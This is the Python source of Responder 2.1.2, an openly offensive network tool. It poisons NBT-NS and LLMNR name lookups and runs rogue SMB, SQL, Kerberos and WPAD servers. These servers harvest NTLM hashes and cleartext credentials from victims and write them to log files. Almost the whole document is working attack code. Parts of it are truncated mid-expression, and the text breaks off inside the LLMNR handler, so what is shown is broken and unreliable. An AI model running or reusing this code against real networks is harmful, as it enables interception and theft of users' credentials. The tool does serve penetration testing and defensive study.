#! /usr/bin/env python # NBT-NS/LLMNR Responder # Created by Laurent Gaffie # Copyright (C) 2014 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string, time from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict from socket import inet_aton from random import randrange VERSION = 'Responder 2.1.2' parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf', version = VERSION, prog=sys.argv[0], ) parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", dest="Analyse") parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") parser.add_option('-I','--interface', action="store", help="Network interface to use", metavar="eth0", dest="INTERFACE", default="Not set") parser.add_option('-b', '--basic',action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned.", dest="Basic", default=False) parser.add_option('-r', '--wredir',action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False", dest="Wredirect", default=False) parser.add_option('-d', '--NBTNSdomain',action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False",dest="NBTNSDomain", default=False) parser.add_option('-f','--fingerprint', action="store_true", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", default=False) parser.add_option('-w','--wpad', action="store_true", dest="WPAD_On_Off", help = "Set this to start the WPAD rogue proxy server. Default value is False", default=False) parser.add_option('-F','--ForceWpadAuth', action="store_true", dest="Force_WPAD_Auth", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False",default=False) parser.add_option('--lm',action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False", dest="LM_On_Off", default=False) parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose") options, args = parser.parse_args() if options.OURIP is None: print "\n\033[1m\033[31m-i mandatory option is missing\033[0m\n" parser.print_help() exit(-1) ResponderPATH = os.path.dirname(__file__) #Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(ResponderPATH,'Responder.conf')) # Set some vars. On_Off = config.get('Responder Core', 'HTTP').upper() SSL_On_Off = config.get('Responder Core', 'HTTPS').upper() SMB_On_Off = config.get('Responder Core', 'SMB').upper() SQL_On_Off = config.get('Responder Core', 'SQL').upper() FTP_On_Off = config.get('Responder Core', 'FTP').upper() POP_On_Off = config.get('Responder Core', 'POP').upper() IMAP_On_Off = config.get('Responder Core', 'IMAP').upper() SMTP_On_Off = config.get('Responder Core', 'SMTP').upper() LDAP_On_Off = config.get('Responder Core', 'LDAP').upper() DNS_On_Off = config.get('Responder Core', 'DNS').upper() Krb_On_Off = config.get('Responder Core', 'Kerberos').upper() NumChal = config.get('Responder Core', 'Challenge') SessionLog = config.get('Responder Core', 'SessionLog') Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper() FILENAME = config.get('HTTP Server', 'Filename') WPAD_Script = config.get('HTTP Server', 'WPADScript') HTMLToServe = config.get('HTTP Server', 'HTMLToServe') RespondTo = config.get('Responder Core', 'RespondTo').strip() RespondTo.split(",") RespondToName = config.get('Responder Core', 'RespondToName').strip() RespondToName.split(",") DontRespondTo = config.get('Responder Core', 'DontRespondTo').strip() DontRespondTo.split(",") DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip() DontRespondToName.split(",") #Cli options. OURIP = options.OURIP LM_On_Off = options.LM_On_Off WPAD_On_Off = options.WPAD_On_Off Wredirect = options.Wredirect NBTNSDomain = options.NBTNSDomain Basic = options.Basic Finger_On_Off = options.Finger INTERFACE = options.INTERFACE Verbose = options.Verbose Force_WPAD_Auth = options.Force_WPAD_Auth AnalyzeMode = options.Analyse if HTMLToServe == None: HTMLToServe = '' if INTERFACE != "Not set": BIND_TO_Interface = INTERFACE if INTERFACE == "Not set": BIND_TO_Interface = "ALL" if len(NumChal) is not 16: print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" parser.print_help() exit(-1) def IsOsX(): Os_version = sys.platform if Os_version == "darwin": return True else: return False def OsInterfaceIsSupported(INTERFACE): if INTERFACE != "Not set": if IsOsX(): return False else: return True if INTERFACE == "Not set": return False def Analyze(AnalyzeMode): if AnalyzeMode == True: return True else: return False #Logger CommandLine = str(sys.argv) import logging logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine) logging.warning(StartMessage) Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log")) logger2 = logging.getLogger('LLMNR/NBT-NS') logger2.addHandler(logging.FileHandler(Log2Filename,'w')) AnalyzeFilename = str(os.path.join(ResponderPATH,"Analyze-LLMNR-NBT-NS.log")) logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a')) def Show_Help(ExtraHelpData): help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" help+= ExtraHelpData print help #Function used to write captured hashs to a file. def WriteData(outfile,data, user): if os.path.isfile(outfile) == False: with open(outfile,"w") as outf: outf.write(data) outf.write("\n") outf.close() if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False if re.search(re.escape("$"), user): filestr.close() return False else: with open(outfile,"a") as outf2: outf2.write(data) outf2.write("\n") outf2.close() def PrintData(outfile,user): if Verbose == True: return True if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False if re.search(re.escape("$"), user): filestr.close() return False else: return True else: return True def PrintLLMNRNBTNS(outfile,Message): if Verbose == True: return True if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(re.escape(Message), filestr.read()): filestr.close() return False else: return True else: return True # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. Challenge = "" for i in range(0,len(NumChal),2): Challenge += NumChal[i:i+2].decode("hex") Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface: %s\nChallenge set: %s\nWPAD Proxy Server: %s\nWPAD script loaded: %s\nHTTP Server: %s\nHTTPS Server: %s\nSMB Server: %s\nSMB LM support: %s\nKerberos Server: %s\nSQL Server: %s\nFTP Server: %s\nIMAP Server: %s\nPOP3 Server: %s\nSMTP Server: %s\nDNS Server: %s\nLDAP Server: %s\nFingerPrint hosts: %s\nServing Executable via HTTP&WPAD: %s\nAlways Serving a Specific File via HTTP&WPAD: %s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) if AnalyzeMode: print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n' #Packet class handling all packet generation (see odict.py). class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) #Function name self-explanatory def Is_Finger_On(Finger_On_Off): if Finger_On_Off == True: return True if Finger_On_Off == False: return False def RespondToSpecificHost(RespondTo): if len(RespondTo)>=1 and RespondTo != ['']: return True else: return False def RespondToSpecificName(RespondToName): if len(RespondToName)>=1 and RespondToName != ['']: return True else: return False def RespondToIPScope(RespondTo, ClientIp): if ClientIp in RespondTo: return True else: return False def RespondToNameScope(RespondToName, Name): if Name in RespondToName: return True else: return False ##Dont Respond to these hosts/names. def DontRespondToSpecificHost(DontRespondTo): if len(DontRespondTo)>=1 and DontRespondTo != ['']: return True else: return False def DontRespondToSpecificName(DontRespondToName): if len(DontRespondToName)>=1 and DontRespondToName != ['']: return True else: return False def DontRespondToIPScope(DontRespondTo, ClientIp): if ClientIp in DontRespondTo: return True else: return False def DontRespondToNameScope(DontRespondToName, Name): if Name in DontRespondToName: return True else: return False ################################################################################## #NBT NS Stuff ################################################################################## #NBT-NS answer packet. class NBT_Ans(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x85\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), ("TTL", "\x00\x00\x00\xa5"), ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["NbtName"] = data[12:46] self.fields["IP"] = inet_aton(OURIP) def NBT_NS_Role(data): Role = { "\x41\x41\x00":"Workstation/Redirector Service.", "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", "\x42\x4e\x00":"Local Master Browser.", "\x42\x4f\x00":"Browser Election Service.", "\x43\x41\x00":"File Server Service.", "\x41\x42\x00":"Browser Service.", } if data in Role: return Role[data] else: return "Service not known." # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): if Analyze(AnalyzeMode): return False if NBT_NS_Role(data[43:46]) == "File Server Service.": return True if NBTNSDomain == True: if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": return True if Wredirect == True: if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": return True else: return False def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. try: if len(nbname) != 32: return nbname l = [] for i in range(0, 32, 2): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) except: return "Illegal NetBIOS name" # NBT_NS Server class. class NB(BaseRequestHandler): def handle(self): data, socket = self.request Name = Decode_Name(data[13:45]) if DontRespondToSpecificHost(DontRespondTo): if RespondToIPScope(DontRespondTo, self.client_address[0]): return None if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): return None if Analyze(AnalyzeMode): if data[2:4] == "\x01\x10": if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) logger3.warning(Message) except Exception: Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) logger3.warning(Message) if PrintLLMNRNBTNS(AnalyzeFilename,Message): print Message else: Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) if PrintLLMNRNBTNS(AnalyzeFilename,Message): print Message logger3.warning(Message) if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False: if RespondToIPScope(RespondTo, self.client_address[0]): if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): if RespondToSpecificName(RespondToName) == False: buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass else: pass else: if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass ################################################################################## #Browser Listener and Lanman Finger ################################################################################## from RAPLANMANPackets import * def WorkstationFingerPrint(data): Role = { "\x04\x00" :"Windows 95", "\x04\x10" :"Windows 98", "\x04\x90" :"Windows ME", "\x05\x00" :"Windows 2000", "\x05\x00" :"Windows XP", "\x05\x02" :"Windows 2003", "\x06\x00" :"Windows Vista/Server 2008", "\x06\x01" :"Windows 7/Server 2008R2", } if data in Role: return Role[data] else: return False def PrintServerName(data, entries): if entries == 0: pass else: entrieslen = 26*entries chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] l =[] for x in ServerName: if WorkstationFingerPrint(x[16:18]): l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18]))) else: l.append(x[:16].replace('\x00', '')) return l def ParsePacket(Payload): PayloadOffset = struct.unpack(' 260: SSPIStart = data[79:] LMhashLen = struct.unpack(' 260: SSPIStart = data[79:] LMhashLen = struct.unpack(' 60: outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack(' 25: Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() if PrintData(outfile,Username+"::"+Domain): print "[+]SMB-NTLMv2 hash captured from :",client print "[+]SMB-NTLMv2 complete hash is :",Writehash ParseShare(data) WriteData(outfile,Writehash, Username+"::"+Domain) logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) if NthashLen == 24: logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal if PrintData(outfile,Username+"::"+Domain): print "[+]SMB-NTLMv1 hash captured from : ",client print "[+]SMB complete hash is :", writehash ParseShare(data) WriteData(outfile,writehash, Username+"::"+Domain) logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) except Exception: raise def IsNT4ClearTxt(data): HeadLen = 36 Flag2 = data[14:16] if Flag2 == "\x03\x80": SmbData = data[HeadLen+14:] WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] if ChainedCmdOffset == "\x75": PassLen = struct.unpack(' 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) #SMB Server class, NTLMSSP class SMB1(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(1) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": #Customize SMB answer. head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) t.calculate() final = t packet0 = str(head)+str(final) buffer0 = longueur(packet0)+packet0 self.request.send(buffer0) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": IsNT4ClearTxt(data) head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) if data[8:10] == "\x73\x00": if Is_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. final = SMBSessEmpty() packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseSMBHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = SMBSession2Accept() final.calculate() packet2 = str(head)+str(final) buffer2 = longueur(packet2)+packet2 self.request.send(buffer2) data = self.request.recv(1024) ##Tree Connect IPC Answer if data[8:10] == "\x75\x00": ParseShare(data) head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) t = SMBTreeData() t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Tree Disconnect. if data[8:10] == "\x71\x00": head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Trans2 Access Denied. if data[8:10] == "\x25\x00": head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##LogOff. if data[8:10] == "\x74\x00": head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x02\xff\x00\x27\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: pass #no need to print errors.. #SMB Server class, old version. class SMB1LM(BaseRequestHandler): def handle(self): try: self.request.settimeout(0.5) data = self.request.recv(1024) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": if Is_LMNT_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) packet1 = str(head)+str(SMBSessEmpty()) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseLMNTHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) packet1 = str(head)+str(SMBSessEmpty()) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: self.request.close() pass ################################################################################## #Kerberos Server ################################################################################## def ParseMSKerbv5TCP(Data): MsgType = Data[21:22] EncType = Data[43:44] MessageType = Data[32:33] if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": HashLen = struct.unpack(' 60: DomainLen = struct.unpack('H',Data[2:4])[0] EncryptionValue = Data[PacketLen-7:PacketLen-6] if re.search("NTLMSSP",Data): return True else: return False #MS-SQL server class. class MSSQL(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) ##Pre-Login Message if data[0] == "\x12": buffer0 = str(MSSQLPreLoginAnswer()) self.request.send(buffer0) data = self.request.recv(1024) ##NegoSSP if data[0] == "\x10": if re.search("NTLMSSP",data): t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) t.calculate() buffer1 = str(t) self.request.send(buffer1) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) ##NegoSSP Auth if data[0] == "\x11": ParseSQLHash(data,self.client_address[0]) except Exception: pass self.request.close() ################################################################################## #LLMNR Stuff ################################################################################## #LLMNR Answer packet. class LLMNRAns(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x00"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionNameLen", "\x09"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerNameLen", "\x09"), ("AnswerName", ""), ("AnswerNameNull", "\x00"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self): self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] def Parse_LLMNR_Name(data): NameLen = struct.unpack('>B',data[12])[0] Name = data[13:13+NameLen] return Name def Parse_IPV6_Addr(data): if data[len(data)-4:len(data)][1] =="\x1c": return False if data[len(data)-4:len(data)] == "\x00\x01\x00\x01": return True if data[len(data)-4:len(data)] == "\x00\xff\x00\x01": return True else: return False def IsOnTheSameSubnet(ip, net): net = net+'/24' ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) netstr, bits = net.split('/') netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) mask = (0xffffffff << (32 - int(bits))) & 0xffffffff return (ipaddr & mask) == (netaddr & mask) def IsICMPRedirectPlausible(IP): dnsip = [] for line in file('/etc/resolv.conf', 'r'): ip = line.split() if len(ip) < 2: continue if ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: print "[Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x) else: pass def FindLocalIP(Iface): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') s.connect(("127.0.0.1",9))#RFC 863 return s.getsockname()[0] def AnalyzeICMPRedirect(): if Analyze(AnalyzeMode) and OURIP is not None and INTERFACE == 'Not set': IsICMPRedirectPlausible(OURIP) if Analyze(AnalyzeMode) and INTERFACE != 'Not set': IsICMPRedirectPlausible(FindLocalIP(INTERFACE)) AnalyzeICMPRedirect() # LLMNR Server class. class LLMNR(BaseRequestHandler): def handle(self): data, soc = self.request try: if data[2:4] == "\x00\x00": if Parse_IPV6_Addr(data): Name = Parse_LLMNR_Name(data) if Analyze(AnalyzeMode): if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,Finger[0],Finger[1]) logger3.warning(Message) except Exception: Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) logger3.warning(Message) if PrintLLMNRNBTNS(AnalyzeFilename,Message): print Message else: Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) if PrintLLMNRNBTNS(AnalyzeFilename,Message): print Message logger3.warning(Message) if DontRespondToSpecificHost(DontRespondTo): if RespondToIPScope(DontRespondTo, self.client_address[0]): return None if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): return None if RespondToSpecificHost(RespondTo): if Analyze(AnalyzeMode) == False: if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): 